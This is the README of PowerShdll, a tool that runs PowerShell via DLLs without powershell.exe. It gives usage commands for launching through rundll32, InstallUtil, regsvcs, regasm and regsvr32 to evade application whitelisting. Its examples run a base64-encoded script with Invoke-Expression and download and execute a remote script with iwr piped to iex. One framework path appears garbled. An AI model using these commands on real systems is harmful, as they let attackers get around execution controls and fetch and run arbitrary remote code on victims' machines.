PowerShdll
Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls.
Does not require access to powershell.exe as it uses powershell automation dlls.
PowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regasm.exe.
dll mode:
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
Alternatives (Credit to SubTee for these techniques):
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
exe mode
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message.
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
Download
Requirements
- .Net v3.5 for dll mode.
- .Net v2.0 for exe mode.
git clone https://github.com/p3nt4/PowerShdll.git
Examples
Run base64 encoded script
rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a
Download and run script
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
Copyright (c) 2017 p3nt4
Source: https://github.com/p3nt4/